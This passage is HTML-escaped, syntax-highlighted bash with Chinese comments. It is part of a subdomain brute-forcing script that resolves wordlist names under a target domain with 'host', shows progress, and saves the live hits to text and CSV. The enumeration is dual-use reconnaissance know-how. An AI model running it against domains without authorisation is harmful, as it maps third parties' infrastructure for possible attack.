&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建简洁的当前查询显示 (最多显示前20个字符)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;current_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;current_query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;current_query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建进度条&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;50&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; -lt &lt;span class="k"&gt;$((&lt;/span&gt;PERCENT &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 显示进度信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;进度: [%-50s] %3d%% | %d/%d | 时间: %02d:%02d | ETA: %02d:%02d | 当前: %s\r&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$bar&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$PERCENT&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; &lt;span class="nv"&gt;$TOTAL&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$MINS_REMAINING&lt;/span&gt; &lt;span class="nv"&gt;$SECS_REMAINING&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$display_query&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 执行DNS查询&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;host -t A &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 处理结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; *&lt;span class="s2"&gt;&amp;#34;has address&amp;#34;&lt;/span&gt;* &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;FOUND++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 1. 输出原始格式结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 2. 保存结果用于表格&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oE &lt;span class="s1"&gt;&amp;#39;[^ ]+ has address [0-9.]+&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 3. 添加到CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/has address/ {print $1 &amp;#34;,&amp;#34; $4}&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清除进度行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算总耗时&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;END_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;END_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 显示表格总结&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -s &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描结果汇总 (活动子域名)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 确保表格对齐（包含标题长度）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;Subdomain&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;IP Address&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 读取结果计算最大长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 处理超长字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;60&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;15&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_sub_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;186&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;187&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;188&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;189&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;190&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;191&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 添加边距&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;192&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_sub_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;193&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_ip_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;194&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_sub_len&lt;/span&gt; -lt &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;195&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; -lt &lt;span class="m"&gt;15&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;15&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;196&lt;/span&gt;&lt;span class="cl"&gt; 
